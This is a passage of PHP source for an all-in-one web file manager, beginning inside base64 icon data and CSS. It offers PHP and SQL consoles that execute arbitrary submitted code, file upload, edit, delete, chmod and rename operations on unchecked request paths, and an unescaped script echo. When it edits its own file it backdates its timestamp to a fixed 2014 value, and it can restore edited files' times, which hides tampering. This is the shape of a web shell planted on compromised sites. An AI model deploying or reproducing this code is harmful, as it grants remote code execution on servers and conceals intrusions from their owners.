QfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
